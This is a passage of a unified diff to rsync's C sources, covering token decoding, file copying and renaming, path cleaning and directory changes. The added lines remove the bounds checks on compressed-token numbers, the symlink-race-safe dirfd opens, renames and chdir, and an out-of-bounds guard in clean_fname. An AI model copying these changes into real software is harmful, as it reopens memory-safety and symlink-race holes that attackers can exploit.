\t\t\t\toffset += n1;\n-\t\t\t/* With our bundled zlib's Z_INSERT_ONLY this produces no\n-\t\t\t * output and consumes the input in one call.  A build\n-\t\t\t * against a system zlib lacks Z_INSERT_ONLY and falls back\n-\t\t\t * to Z_SYNC_FLUSH (see top of file), which emits a flush\n-\t\t\t * block we discard -- and for an incompressible token that\n-\t\t\t * block can exceed obuf.  Loop, resetting the output buffer,\n-\t\t\t * until all the input is consumed so a large token can't\n-\t\t\t * overflow obuf and abort the transfer (#951).  Drain until\n-\t\t\t * avail_out != 0 too: a full output buffer can leave pending\n-\t\t\t * bytes that would otherwise leak into the next real deflate\n-\t\t\t * send and corrupt the stream (same condition as the data loop\n-\t\t\t * above).  The discarded output is not sent: the receiver\n-\t\t\t * rebuilds the matching history itself in see_deflate_token(). */\n-\t\t\tdo {\n-\t\t\t\ttx_strm.next_out = (Bytef *) obuf;\n-\t\t\t\ttx_strm.avail_out = AVAIL_OUT_SIZE(CHUNK_SIZE);\n-\t\t\t\tr = deflate(&tx_strm, Z_INSERT_ONLY);\n-\t\t\t\tif (r != Z_OK) {\n-\t\t\t\t\trprintf(FERROR, \"deflate on token returned %d (%d bytes left)\\n\",\n-\t\t\t\t\t\tr, tx_strm.avail_in);\n-\t\t\t\t\texit_cleanup(RERR_STREAMIO);\n-\t\t\t\t}\n-\t\t\t} while (tx_strm.avail_in != 0 || tx_strm.avail_out == 0);\n+\t\t\ttx_strm.next_out = (Bytef *) obuf;\n+\t\t\ttx_strm.avail_out = AVAIL_OUT_SIZE(CHUNK_SIZE);\n+\t\t\tr = deflate(&tx_strm, Z_INSERT_ONLY);\n+\t\t\tif (r != Z_OK || tx_strm.avail_in != 0) {\n+\t\t\t\trprintf(FERROR, \"deflate on token returned %d (%d bytes left)\\n\",\n+\t\t\t\t\tr, tx_strm.avail_in);\n+\t\t\t\texit_cleanup(RERR_STREAMIO);\n+\t\t\t}\n \t\t} while (toklen > 0);\n \t}\n }\n@@ -520,52 +493,9 @@ static char *cbuf;\n static char *dbuf;\n \n /* for decoding runs of tokens */\n-#define MAX_TOKEN_INDEX ((int32)0x7ffffffe)\n-\n static int32 rx_token;\n static int32 rx_run;\n \n-static NORETURN void invalid_compressed_token(void)\n-{\n-\trprintf(FERROR, \"invalid token number in compressed stream\\n\");\n-\texit_cleanup(RERR_PROTOCOL);\n-}\n-\n-static int32 recv_compressed_token_num(int f, int32 flag)\n-{\n-\tif (flag & TOKEN_REL) {\n-\t\tint32 incr = flag & 0x3f;\n-\t\tif (rx_token > MAX_TOKEN_INDEX - incr)\n-\t\t\tinvalid_compressed_token();\n-\t\trx_token += incr;\n-\t\tflag >>= 6;\n-\t} else {\n-\t\trx_token = read_int(f);\n-\t\tif (rx_token < 0 || rx_token > MAX_TOKEN_INDEX)\n-\t\t\tinvalid_compressed_token();\n-\t}\n-\n-\tif (flag & 1) {\n-\t\trx_run = read_byte(f);\n-\t\trx_run += read_byte(f) << 8;\n-\t\tif (rx_run <= 0 || rx_token > MAX_TOKEN_INDEX - rx_run)\n-\t\t\tinvalid_compressed_token();\n-\t\trecv_state = r_running;\n-\t}\n-\n-\treturn -1 - rx_token;\n-}\n-\n-static int32 recv_compressed_token_run(void)\n-{\n-\tif (rx_run <= 0 || rx_token >= MAX_TOKEN_INDEX)\n-\t\tinvalid_compressed_token();\n-\t++rx_token;\n-\tif (--rx_run == 0)\n-\t\trecv_state = r_idle;\n-\treturn -1 - rx_token;\n-}\n-\n /* Receive a deflated token and inflate it */\n static int32 recv_deflated_token(int f, char **data)\n {\n@@ -656,7 +586,17 @@ static int32 recv_deflated_token(int f, char **data)\n \t\t\t}\n \n \t\t\t/* here we have a token of some kind */\n-\t\t\treturn recv_compressed_token_num(f, flag);\n+\t\t\tif (flag & TOKEN_REL) {\n+\t\t\t\trx_token += flag & 0x3f;\n+\t\t\t\tflag >>= 6;\n+\t\t\t} else\n+\t\t\t\trx_token = read_int(f);\n+\t\t\tif (flag & 1) {\n+\t\t\t\trx_run = read_byte(f);\n+\t\t\t\trx_run += read_byte(f) << 8;\n+\t\t\t\trecv_state = r_running;\n+\t\t\t}\n+\t\t\treturn -1 - rx_token;\n \n \t\tcase r_inflating:\n \t\t\trx_strm.next_out = (Bytef *)dbuf;\n@@ -676,7 +616,10 @@ static int32 recv_deflated_token(int f, char **data)\n \t\t\tbreak;\n \n \t\tcase r_running:\n-\t\t\treturn recv_compressed_token_run();\n+\t\t\t++rx_token;\n+\t\t\tif (--rx_run == 0)\n+\t\t\t\trecv_state = r_idle;\n+\t\t\treturn -1 - rx_token;\n \t\t}\n \t}\n }\n@@ -749,8 +692,6 @@ static void send_zstd_token(int f, int32 token, struct map_struct *buf, OFF_T of\n \t\tobuf = new_array(char, OBUF_SIZE);\n \n \t\tZSTD_CCtx_setParameter(zstd_cctx, ZSTD_c_compressionLevel, do_compression_level);\n-\t\tZSTD_CCtx_setParameter(zstd_cctx, ZSTD_c_nbWorkers, do_compression_threads);\n-\n \t\tzstd_out_buff.dst = obuf + 2;\n \n \t\tcomp_init_done = 1;\n@@ -788,11 +729,12 @@ static void send_zstd_token(int f, int32 token, struct map_struct *buf, OFF_T of\n \t\tzstd_in_buff.src = map_ptr(buf, offset, nb);\n \t\tzstd_in_buff.size = nb;\n \t\tzstd_in_buff.pos = 0;\n-\t\t\n-\t\tint finished;\n+\n \t\tdo {\n-\t\t\tzstd_out_buff.size = MAX_DATA_COUNT;\n-\t\t\tzstd_out_buff.pos = 0;\n+\t\t\tif (zstd_out_buff.size == 0) {\n+\t\t\t\tzstd_out_buff.size = MAX_DATA_COUNT;\n+\t\t\t\tzstd_out_buff.pos = 0;\n+\t\t\t}\n \n \t\t\t/* File ended, flush */\n \t\t\tif (token != -2)\n@@ -810,21 +752,20 @@ static void send_zstd_token(int f, int32 token, struct map_struct *buf, OFF_T of\n \t\t\t * state and send a smaller buffer so that the remote side can\n \t\t\t * finish the file.\n \t\t\t */\n-\t\t\tfinished = (flush == ZSTD_e_flush) ? (r == 0) : (zstd_in_buff.pos == zstd_in_buff.size);\n-\n-\t\t\tif (zstd_out_buff.pos != 0) {\n+\t\t\tif (zstd_out_buff.pos == zstd_out_buff.size || flush == ZSTD_e_flush) {\n \t\t\t\tn = zstd_out_buff.pos;\n \n \t\t\t\tobuf[0] = DEFLATED_DATA + (n >> 8);\n \t\t\t\tobuf[1] = n;\n \t\t\t\twrite_buf(f, obuf, n+2);\n+\n+\t\t\t\tzstd_out_buff.size = 0;\n \t\t\t}\n \t\t\t/*\n \t\t\t * Loop while the input buffer isn't full consumed or the\n \t\t\t * internal state isn't fully flushed.\n \t\t\t */\n-\t\t} while (!finished);\n-\n+\t\t} while (zstd_in_buff.pos < zstd_in_buff.size || r > 0);\n \t\tflush_pending = token == -2;\n \t}\n \n@@ -887,7 +828,17 @@ static int32 recv_zstd_token(int f, char **data)\n \t\t\t\treturn 0;\n \t\t\t}\n \t\t\t/* here we have a token of some kind */\n-\t\t\treturn recv_compressed_token_num(f, flag);\n+\t\t\tif (flag & TOKEN_REL) {\n+\t\t\t\trx_token += flag & 0x3f;\n+\t\t\t\tflag >>= 6;\n+\t\t\t} else\n+\t\t\t\trx_token = read_int(f);\n+\t\t\tif (flag & 1) {\n+\t\t\t\trx_run = read_byte(f);\n+\t\t\t\trx_run += read_byte(f) << 8;\n+\t\t\t\trecv_state = r_running;\n+\t\t\t}\n+\t\t\treturn -1 - rx_token;\n \n \t\tcase r_inflated: /* zstd doesn't get into this state */\n \t\t\tbreak;\n@@ -918,7 +869,10 @@ static int32 recv_zstd_token(int f, char **data)\n \t\t\tbreak;\n \n \t\tcase r_running:\n-\t\t\treturn recv_compressed_token_run();\n+\t\t\t++rx_token;\n+\t\t\tif (--rx_run == 0)\n+\t\t\t\trecv_state = r_idle;\n+\t\t\treturn -1 - rx_token;\n \t\t}\n \t}\n }\n@@ -1038,7 +992,17 @@ static int32 recv_compressed_token(int f, char **data)\n \t\t\t}\n \n \t\t\t/* here we have a token of some kind */\n-\t\t\treturn recv_compressed_token_num(f, flag);\n+\t\t\tif (flag & TOKEN_REL) {\n+\t\t\t\trx_token += flag & 0x3f;\n+\t\t\t\tflag >>= 6;\n+\t\t\t} else\n+\t\t\t\trx_token = read_int(f);\n+\t\t\tif (flag & 1) {\n+\t\t\t\trx_run = read_byte(f);\n+\t\t\t\trx_run += read_byte(f) << 8;\n+\t\t\t\trecv_state = r_running;\n+\t\t\t}\n+\t\t\treturn -1 - rx_token;\n \n \t\tcase r_inflating:\n \t\t\tavail_out = LZ4_decompress_safe(next_in, dbuf, avail_in, size);\n@@ -1054,7 +1018,10 @@ static int32 recv_compressed_token(int f, char **data)\n \t\t\tbreak;\n \n \t\tcase r_running:\n-\t\t\treturn recv_compressed_token_run();\n+\t\t\t++rx_token;\n+\t\t\tif (--rx_run == 0)\n+\t\t\t\trecv_state = r_idle;\n+\t\t\treturn -1 - rx_token;\n \t\t}\n \t}\n }\ndiff --git a/uidlist.c b/uidlist.c\nindex 5c1096a..99a3467 100644\n--- a/uidlist.c\n+++ b/uidlist.c\n@@ -397,11 +397,9 @@ static void send_one_list(int f, struct idlist *idlist, int usernames)\n \n \t/* Terminate the uid list with 0 (which was excluded above).\n \t * A modern rsync also sends the name of id 0. */\n-\tif (xmit_id0_names) {\n-\t\tconst char *name = usernames ? uid_to_user(0) : gid_to_group(0);\n-\t\tsend_one_name(f, 0, name);\n-\t\tfree((char *)name);\n-\t} else\n+\tif (xmit_id0_names)\n+\t\tsend_one_name(f, 0, usernames ? uid_to_user(0) : gid_to_group(0));\n+\telse\n \t\twrite_varint30(f, 0);\n }\n \ndiff --git a/usage.c b/usage.c\nindex de58683..f346385 100644\n--- a/usage.c\n+++ b/usage.c\n@@ -23,7 +23,6 @@\n #include \"git-version.h\"\n #include \"default-cvsignore.h\"\n #include \"itypes.h\"\n-#include \"lib/acl.h\"\n \n extern struct name_num_obj valid_checksums, valid_compressions, valid_auth_checksums;\n \n@@ -107,23 +106,6 @@ static void print_info_flags(enum logcode f)\n #endif\n \t\t\t\"ACLs\",\n \n-#ifdef SUPPORT_ACL_FD\n-#ifdef HAVE_LIBACL_AT\n-\t\t/* The patched libacl *_at calls apply received ACLs race-safely\n-\t\t * on every Linux kernel (compat layer below 6.13).  Emit ACL-at (true, so\n-\t\t * the JSON \"ACL_at\": true lets acl-symlink-race assert) plus a\n-\t\t * distinguishing libacl token. */\n-\t\t\"ACL-at\",\n-\t\t\"ACL-libacl-at\",\n-#else\n-\t\t/* Runtime: are the *xattrat syscalls usable, so a received ACL is\n-\t\t * applied race-safely (dirfd+leaf, AT_SYMLINK_NOFOLLOW) even when the\n-\t\t * leaf can't be pinned?  False => ACLs are applied via the path on an\n-\t\t * un-pinnable leaf, which carries the parent-symlink-race exposure. */\n-\t\txacl_at_available() ? \"ACL-at\" : \"no ACL-at\",\n-#endif\n-#endif\n-\n #ifndef SUPPORT_XATTRS\n \t\t\"no \"\n #endif\n@@ -156,11 +138,6 @@ static void print_info_flags(enum logcode f)\n #endif\n \t\t\t\"crtimes\",\n \n-#ifndef SUPPORT_IDN\n-\t\t\"no \"\n-#endif\n-\t\t\t\"IDN\",\n-\n \t\"*Optimizations\",\n \n #ifndef USE_ROLL_SIMD\ndiff --git a/util1.c b/util1.c\nindex d58015c..d84bc41 100644\n--- a/util1.c\n+++ b/util1.c\n@@ -24,9 +24,6 @@\n #include \"ifuncs.h\"\n #include \"itypes.h\"\n #include \"inums.h\"\n-#ifdef SUPPORT_IDN\n-#include <idn2.h>\n-#endif\n \n extern int dry_run;\n extern int module_id;\n@@ -37,7 +34,6 @@ extern int relative_paths;\n extern int preserve_xattrs;\n extern int omit_link_times;\n extern int preallocate_files;\n-extern int operator_path_resolve;\n extern char *module_dir;\n extern unsigned int module_dirlen;\n extern char *partial_dir;\n@@ -45,8 +41,8 @@ extern filter_rule_list daemon_filter_list;\n \n int sanitize_paths = 0;\n \n-extern char curr_dir[MAXPATHLEN];   /* defined in syscall.c */\n-extern unsigned int curr_dir_len;\n+char curr_dir[MAXPATHLEN];\n+unsigned int curr_dir_len;\n int curr_dir_depth; /* This is only set for a sanitizing daemon. */\n \n /* Set a fd into nonblocking mode. */\n@@ -145,7 +141,7 @@ int set_times(const char *fname, STRUCT_STAT *stp)\n \n #ifdef HAVE_UTIMENSAT\n #include \"case_N.h\"\n-\t\tif (do_utimensat_at(fname, stp) == 0)\n+\t\tif (do_utimensat(fname, stp) == 0)\n \t\t\tbreak;\n \t\tif (errno != ENOSYS)\n \t\t\treturn -1;\n@@ -184,26 +180,6 @@ int set_times(const char *fname, STRUCT_STAT *stp)\n \treturn 0;\n }\n \n-/* Held-dirfd variant of set_times(): set `name`'s times relative to dir fd\n- * `dfd`.  Returns 0/-1 like set_times(), or -2 when this platform's active\n- * time-setting tier has no dfd-relative form (caller must fall back to\n- * set_times(fname, stp)).  Only the utimensat tier has an at-on-dfd form, so\n- * macOS (setattrlist) and pre-utimensat systems take the -2 path. */\n-int set_times_at(int dfd, const char *name, STRUCT_STAT *stp)\n-{\n-#if defined HAVE_UTIMENSAT && !defined HAVE_SETATTRLIST\n-\tint r = do_utimensat_atfd(dfd, name, stp);\n-\tif (r == 0)\n-\t\treturn 0;\n-\tif (errno == ENOSYS)\n-\t\treturn -2;\t/* fall back to the full set_times() tier walk */\n-\treturn -1;\n-#else\n-\t(void)dfd; (void)name; (void)stp;\n-\treturn -2;\n-#endif\n-}\n-\n /* Create any necessary directories in fname.  Any missing directories are\n  * created with default permissions.  Returns < 0 on error, or the number\n  * of directories created. */\n@@ -238,7 +214,7 @@ int make_path(char *fname, int flags)\n \t\t\t\telse\n \t\t\t\t\terrno = ENOTDIR;\n \t\t\t}\n-\t\t} else if (do_mkdir_at(fname, ACCESSPERMS) == 0) {\n+\t\t} else if (do_mkdir(fname, ACCESSPERMS) == 0) {\n \t\t\tret++;\n \t\t\tbreak;\n \t\t}\n@@ -277,7 +253,7 @@ int make_path(char *fname, int flags)\n \t\tp += strlen(p);\n \t\tif (ret < 0) /* Skip mkdir on error, but keep restoring the path. */\n \t\t\tcontinue;\n-\t\tif (do_mkdir_at(fname, ACCESSPERMS) < 0)\n+\t\tif (do_mkdir(fname, ACCESSPERMS) < 0)\n \t\t\tret = -ret - 1;\n \t\telse\n \t\t\tret++;\n@@ -360,13 +336,7 @@ static int unlink_and_reopen(const char *dest, mode_t mode)\n \t\tmode |= S_IWUSR;\n #endif\n \tmode &= INITACCESSPERMS;\n-\t/* Use do_open_at so the create/truncate goes through a secure\n-\t * parent dirfd in the daemon-no-chroot deployment. Otherwise\n-\t * an attacker could swap a parent component with a symlink in\n-\t * the window between robust_unlink (which uses do_unlink_at,\n-\t * already secure) and the create here, and redirect the new\n-\t * file outside the module. */\n-\tif ((ofd = do_open_at(dest, O_WRONLY | O_CREAT | O_TRUNC | O_EXCL, mode)) < 0) {\n+\tif ((ofd = do_open(dest, O_WRONLY | O_CREAT | O_TRUNC | O_EXCL, mode)) < 0) {\n \t\tint save_errno = errno;\n \t\trsyserr(FERROR_XFER, save_errno, \"open %s\", full_fname(dest));\n \t\terrno = save_errno;\n@@ -395,42 +365,7 @@ int copy_file(const char *source, const char *dest, int tmpfilefd, mode_t mode)\n \tint len;   /* Number of bytes read into `buf'. */\n \tOFF_T prealloc_len = 0, offset = 0;\n \n-\t/* For any hardened (non-chrooted) receiver, route the source open through\n-\t * secure_relative_open so a parent-symlink on the source path (e.g.\n-\t * --copy-dest=cd where cd is a symlink to an outside directory) cannot\n-\t * redirect the read to a file the attacker should not see.  Plain\n-\t * do_open_nofollow only refuses a final-component symlink; parents are\n-\t * still followed.  An ABSOLUTE source is an operator basis (e.g. an absolute\n-\t * --copy-dest): confine its parents via the ownership walk -- a foreign-owned\n-\t * parent symlink is refused, the operator's own dirs/uid0/euid symlinks\n-\t * followed -- so a flipped parent can't redirect the basis read out of tree.\n-\t * operator_path_resolve is set only across the walk (so module-exclude is\n-\t * enforced) and restored, leaving the caller's value for the dest side -- this\n-\t * is why confining the source here does not re-open the copy_xattrs dest\n-\t * race the way wrapping the whole copy_altdest_file would. */\n-\tif (secure_relpath_active() && source && *source && source[0] != '/')\n-\t\tifd = secure_relative_open(NULL, source, O_RDONLY | O_NOFOLLOW, 0);\n-#if defined AT_FDCWD && defined O_NOFOLLOW && defined O_DIRECTORY\n-\telse if (secure_relpath_active() && source && source[0] == '/'\n-\t      && !symlink_optout_allowed()) {\n-\t\tint save = operator_path_resolve, dfd, e;\n-\t\tconst char *leaf;\n-\t\toperator_path_resolve = 1;\n-\t\tdfd = owner_walk_parent(source, &leaf);\n-\t\toperator_path_resolve = save;\n-\t\tif (dfd < 0)\n-\t\t\tifd = -1;\n-\t\telse {\n-\t\t\tifd = openat(dfd, leaf, O_RDONLY | O_NOFOLLOW);\n-\t\t\te = errno;\n-\t\t\tclose(dfd);\n-\t\t\terrno = e;\n-\t\t}\n-\t}\n-#endif\n-\telse\n-\t\tifd = do_open_nofollow(source, O_RDONLY);\n-\tif (ifd < 0) {\n+\tif ((ifd = do_open_nofollow(source, O_RDONLY)) < 0) {\n \t\tint save_errno = errno;\n \t\trsyserr(FERROR_XFER, errno, \"open %s\", full_fname(source));\n \t\terrno = save_errno;\n@@ -486,6 +421,11 @@ int copy_file(const char *source, const char *dest, int tmpfilefd, mode_t mode)\n \t\treturn -1;\n \t}\n \n+\tif (close(ifd) < 0) {\n+\t\trsyserr(FWARNING, errno, \"close failed on %s\",\n+\t\t\tfull_fname(source));\n+\t}\n+\n \t/* Source file might have shrunk since we fstatted it.\n \t * Cut off any extra preallocated zeros from dest file. */\n \tif (offset < prealloc_len) {\n@@ -503,24 +443,10 @@ int copy_file(const char *source, const char *dest, int tmpfilefd, mode_t mode)\n \t\tint save_errno = errno;\n \t\trsyserr(FERROR, errno, \"fsync failed on %s\", full_fname(dest));\n \t\tclose(ofd);\n-\t\tclose(ifd);\t/* ifd is held open until after the xattr copy below */\n \t\terrno = save_errno;\n \t\treturn -1;\n \t}\n \n-#ifdef SUPPORT_XATTRS\n-\t/* Read the source xattrs through the held source fd (ifd) and set them\n-\t * through ofd while both are still held, so a parent-symlink race can't\n-\t * redirect the read out of tree or the write onto a file outside it. */\n-\tif (preserve_xattrs)\n-\t\tcopy_xattrs(source, ifd, dest, ofd);\n-#endif\n-\n-\tif (close(ifd) < 0) {\n-\t\trsyserr(FWARNING, errno, \"close failed on %s\",\n-\t\t\tfull_fname(source));\n-\t}\n-\n \tif (close(ofd) < 0) {\n \t\tint save_errno = errno;\n \t\trsyserr(FERROR_XFER, errno, \"close failed on %s\", full_fname(dest));\n@@ -528,6 +454,11 @@ int copy_file(const char *source, const char *dest, int tmpfilefd, mode_t mode)\n \t\treturn -1;\n \t}\n \n+#ifdef SUPPORT_XATTRS\n+\tif (preserve_xattrs)\n+\t\tcopy_xattrs(source, dest);\n+#endif\n+\n \treturn 0;\n }\n \n@@ -548,13 +479,13 @@ int copy_file(const char *source, const char *dest, int tmpfilefd, mode_t mode)\n int robust_unlink(const char *fname)\n {\n #ifndef ETXTBSY\n-\treturn do_unlink_at(fname);\n+\treturn do_unlink(fname);\n #else\n \tstatic int counter = 1;\n \tint rc, pos, start;\n \tchar path[MAXPATHLEN];\n \n-\trc = do_unlink_at(fname);\n+\trc = do_unlink(fname);\n \tif (rc == 0 || errno != ETXTBSY)\n \t\treturn rc;\n \n@@ -576,7 +507,7 @@ int robust_unlink(const char *fname)\n \t\tsnprintf(&path[pos], MAX_RENAMES_DIGITS+1, \"%03d\", counter);\n \t\tif (++counter >= MAX_RENAMES)\n \t\t\tcounter = 1;\n-\t} while (access(path, 0) == 0 && counter != start);\n+\t} while ((rc = access(path, 0)) == 0 && counter != start);\n \n \tif (INFO_GTE(MISC, 1)) {\n \t\trprintf(FWARNING, \"renaming %s to %s because of text busy\\n\",\n@@ -584,7 +515,7 @@ int robust_unlink(const char *fname)\n \t}\n \n \t/* maybe we should return rename()'s exit status? Nah. */\n-\tif (do_rename_at(fname, path) != 0) {\n+\tif (do_rename(fname, path) != 0) {\n \t\terrno = ETXTBSY;\n \t\treturn -1;\n \t}\n@@ -597,7 +528,7 @@ int robust_unlink(const char *fname)\n  * If partialptr is not NULL and we need to do a copy, copy the file into\n  * the active partial-dir instead of over the destination file. */\n int robust_rename(const char *from, const char *to, const char *partialptr,\n-\t\t  int mode, struct file_struct *file)\n+\t\t  int mode)\n {\n \tint tries = 4;\n \n@@ -607,18 +538,7 @@ int robust_rename(const char *from, const char *to, const char *partialptr,\n \t\treturn 0;\n \n \twhile (tries--) {\n-\t\t/* tmp -> final usually live in the entry's own dir: rename via the\n-\t\t * held dir fd when both do, else the full-path wrapper. */\n-\t\tint ofd = held_dfd_for(from, file);\n-\t\tint nfd = held_dfd_for(to, file);\n-\t\tint rr;\n-\t\tif (ofd >= 0 && nfd >= 0) {\n-\t\t\tconst char *os = strrchr(from, '/');\n-\t\t\tconst char *ns = strrchr(to, '/');\n-\t\t\trr = do_rename_atfd(ofd, os ? os + 1 : from, nfd, ns ? ns + 1 : to);\n-\t\t} else\n-\t\t\trr = do_rename_at(from, to);\n-\t\tif (rr == 0)\n+\t\tif (do_rename(from, to) == 0)\n \t\t\treturn 0;\n \n \t\tswitch (errno) {\n@@ -631,33 +551,16 @@ int robust_rename(const char *from, const char *to, const char *partialptr,\n \t\t\terrno = ETXTBSY;\n \t\t\tbreak;\n #endif\n-\t\tcase EXDEV: {\n-\t\t\tint save = operator_path_resolve, rc;\n+\t\tcase EXDEV:\n \t\t\tif (partialptr) {\n \t\t\t\tif (!handle_partial_dir(partialptr,PDIR_CREATE))\n \t\t\t\t\treturn -2;\n \t\t\t\tto = partialptr;\n \t\t\t}\n-\t\t\t/* Cross-fs fallback: copy then unlink.  An absolute --temp-dir\n-\t\t\t * source / --partial-dir dest is an operator path whose parents\n-\t\t\t * do_open_at()/do_unlink_at() would otherwise follow via plain libc\n-\t\t\t * -- confine them through the ownership walk so a raced parent\n-\t\t\t * symlink can't redirect the dest-write or the source-unlink out of\n-\t\t\t * the module.  copy_file already confines the source READ; a\n-\t\t\t * relative in-module path stays on the secure_relative_open arm, so\n-\t\t\t * only flip the flag for an absolute (operator) path. */\n-\t\t\tif (*to == '/')\n-\t\t\t\toperator_path_resolve = 1;\n-\t\t\trc = copy_file(from, to, -1, mode);\n-\t\t\toperator_path_resolve = save;\n-\t\t\tif (rc != 0)\n+\t\t\tif (copy_file(from, to, -1, mode) != 0)\n \t\t\t\treturn -2;\n-\t\t\tif (*from == '/')\n-\t\t\t\toperator_path_resolve = 1;\n-\t\t\tdo_unlink_at(from);\n-\t\t\toperator_path_resolve = save;\n+\t\t\tdo_unlink(from);\n \t\t\treturn 1;\n-\t\t}\n \t\tdefault:\n \t\t\treturn -1;\n \t\t}\n@@ -918,110 +821,16 @@ void glob_expand_module(char *base1, char *arg, char ***argv_p, int *argc_p, int\n \n /**\n  * Convert a string to lower case\n- *\n- * Only ASCII is folded.  The hosts allow/deny list that calls this can hold\n- * UTF-8, and a per-byte fold via the locale's ctype would mangle it (in\n- * ISO-8859-1 the 0xC4 lead byte of \"č\" is an upper-case 'Ä').\n  **/\n void strlower(char *s)\n {\n \twhile (*s) {\n-\t\tif (!(*(unsigned char *)s & 0x80) && isUpper(s))\n+\t\tif (isUpper(s))\n \t\t\t*s = toLower(s);\n \t\ts++;\n \t}\n }\n \n-#ifdef SUPPORT_IDN\n-/* Does this label hold nothing but the [-a-z0-9] of an A-label? */\n-static int is_a_label(const char *s)\n-{\n-\tif (!*s)\n-\t\treturn 0;\n-\n-\tfor ( ; *s; s++) {\n-\t\tif (!(*s >= 'a' && *s <= 'z') && !(*s >= '0' && *s <= '9') && *s != '-')\n-\t\t\treturn 0;\n-\t}\n-\n-\treturn 1;\n-}\n-\n-/**\n- * Convert the non-ASCII labels of a host name into their IDNA A-label\n- * (Punycode) form, putting the result in buf.  Returns 1 if buf was filled in,\n- * or 0 to tell the caller to keep the name it has.\n- *\n- * A label that is already ASCII is copied verbatim, so an address, a mask, an\n- * xn-- name, and any wildmatch characters come out just as they went in.  A\n- * converted label is only used if it comes back as a bare A-label: the IDNA\n- * mapping folds some non-ASCII characters onto ASCII ones (U+FF0A FULLWIDTH\n- * ASTERISK becomes '*'), and a hosts allow/deny entry must not pick up a\n- * wildcard that its author never typed.  Anything else leaves the name alone,\n- * which fails to match instead of matching too much.\n- *\n- * Set from_locale for a name that came from the command line, which is in the\n- * user's locale encoding; the daemon's config file is read as UTF-8.\n- **/\n-int idn_to_ascii(const char *name, int from_locale, char *buf, size_t buflen)\n-{\n-\tconst char *lab, *end;\n-\tsize_t len = 0;\n-\tint converted = 0;\n-\n-\tfor (lab = name; ; lab = end + 1) {\n-\t\tchar label[256], *idn;\n-\t\tsize_t lablen, alen;\n-\t\tint is_ascii = 1;\n-\n-\t\tfor (end = lab; *end && *end != '.'; end++) {\n-\t\t\tif (*(unsigned char *)end & 0x80)\n-\t\t\t\tis_ascii = 0;\n-\t\t}\n-\t\tlablen = end - lab;\n-\n-\t\tif (is_ascii) {\n-\t\t\tif (len + lablen + 2 > buflen)\n-\t\t\t\treturn 0;\n-\t\t\tmemcpy(buf + len, lab, lablen);\n-\t\t\tlen += lablen;\n-\t\t} else {\n-\t\t\t/* IDN2_NFC_INPUT has libidn2 normalize the label, so a name\n-\t\t\t * typed with combining marks folds to the same A-label as\n-\t\t\t * its composed spelling.  IDN2_NONTRANSITIONAL asks for the\n-\t\t\t * TR46 processing that everything else does these days. */\n-\t\t\tint flags = IDN2_NFC_INPUT | IDN2_NONTRANSITIONAL;\n-\t\t\tint rc;\n-\t\t\tif (lablen >= sizeof label)\n-\t\t\t\treturn 0;\n-\t\t\tmemcpy(label, lab, lablen);\n-\t\t\tlabel[lablen] = '\\0';\n-\t\t\trc = from_locale ? idn2_lookup_ul(label, &idn, flags)\n-\t\t\t\t\t : idn2_to_ascii_8z(label, &idn, flags);\n-\t\t\tif (rc != IDN2_OK)\n-\t\t\t\treturn 0;\n-\t\t\talen = strlen(idn);\n-\t\t\tif (!is_a_label(idn) || len + alen + 2 > buflen) {\n-\t\t\t\tidn2_free(idn);\n-\t\t\t\treturn 0;\n-\t\t\t}\n-\t\t\tmemcpy(buf + len, idn, alen);\n-\t\t\tlen += alen;\n-\t\t\tidn2_free(idn);\n-\t\t\tconverted = 1;\n-\t\t}\n-\n-\t\tif (!*end)\n-\t\t\tbreak;\n-\t\tbuf[len++] = '.';\n-\t}\n-\n-\tbuf[len] = '\\0';\n-\n-\treturn converted;\n-}\n-#endif\n-\n /**\n  * Split a string into tokens based (usually) on whitespace & commas.  If the\n  * string starts with a comma (after skipping any leading whitespace), then\n@@ -1133,7 +942,7 @@ int count_dir_elements(const char *p)\n  * resulting name would be empty, returns \".\". */\n int clean_fname(char *name, int flags)\n {\n-\tchar *limit = name, *t = name, *f = name;\n+\tchar *limit = name - 1, *t = name, *f = name;\n \tint anchored;\n \n \tif (!name)\n@@ -1178,18 +987,9 @@ int clean_fname(char *name, int flags)\n \t\t\t\t\tf += 2;\n \t\t\t\t\tcontinue;\n \t\t\t\t}\n-\t\t\t\t/* backing up for \"..\" — avoid reading before 'name' */\n-\t\t\t\twhile (s > limit && s[-1] != '/')\n-\t\t\t\t\ts--;\n-\n-\t\t\t\t/* If found prior '/', or we reached the start, adjust t.\n-\t\t\t\t * After the backward walk, s points at the first char of the\n-\t\t\t\t * prior component and s[-1] is its leading '/' -- so test\n-\t\t\t\t * s[-1] (not *s) and reset t to s (not s+1) to actually drop\n-\t\t\t\t * the component; the old off-by-one left CFN_COLLAPSE_DOT_DOT_DIRS\n-\t\t\t\t * dead for multi-component and absolute paths. */\n-\t\t\t\tif (s != t - 1 && (s <= name || s[-1] == '/')) {\n-\t\t\t\t\tt = (s == name) ? name : s;\n+\t\t\t\twhile (s > limit && *--s != '/') {}\n+\t\t\t\tif (s != t - 1 && (s < name || *s == '/')) {\n+\t\t\t\t\tt = s + 1;\n \t\t\t\t\tf += 2;\n \t\t\t\t\tcontinue;\n \t\t\t\t}\n@@ -1312,7 +1112,6 @@ char *sanitize_path(char *dest, const char *p, const char *rootdir, int depth, i\n  * Also cleans the path using the clean_fname() function. */\n int change_dir(const char *dir, int set_path_only)\n {\n-\textern int am_daemon, am_chrooted, am_sender, insecure_links;\n \tstatic int initialised, skipped_chdir;\n \tunsigned int len;\n \n@@ -1337,64 +1136,8 @@ int change_dir(const char *dir, int set_path_only)\n \t\t\terrno = ENAMETOOLONG;\n \t\t\treturn 0;\n \t\t}\n-\t\tif (!set_path_only) {\n-\t\t\t/* The destination is operator-supplied (like --log-file et al.), so\n-\t\t\t * resolve it with open_no_attacker_symlinks: walk each component\n-\t\t\t * refusing a symlink not owned by uid 0 or our euid, then fchdir to\n-\t\t\t * the result.  This still follows the operator's/root's own symlinked\n-\t\t\t * dest -- the `/backup -> /mnt/disk` / `/var/www -> /srv/www` admin\n-\t\t\t * pattern -- but refuses one an attacker raced in from another uid,\n-\t\t\t * closing the dest chdir TOCTOU (the daemon `use chroot = no` module\n-\t\t\t * path is the same class).  The daemon is always confined; a\n-\t\t\t * non-daemon receiver can opt back into the legacy plain chdir with\n-\t\t\t * --insecure-links. */\n-\t\t\tif (am_daemon && !am_chrooted) {\n-\t\t\t\tint dfd = open_no_attacker_symlinks_dirfd(dir);\n-\t\t\t\tif (dfd < 0)\n-\t\t\t\t\treturn 0;\n-\t\t\t\tif (fchdir(dfd) != 0) {\n-\t\t\t\t\tint e = errno;\n-\t\t\t\t\tclose(dfd);\n-\t\t\t\t\terrno = e;\n-\t\t\t\t\treturn 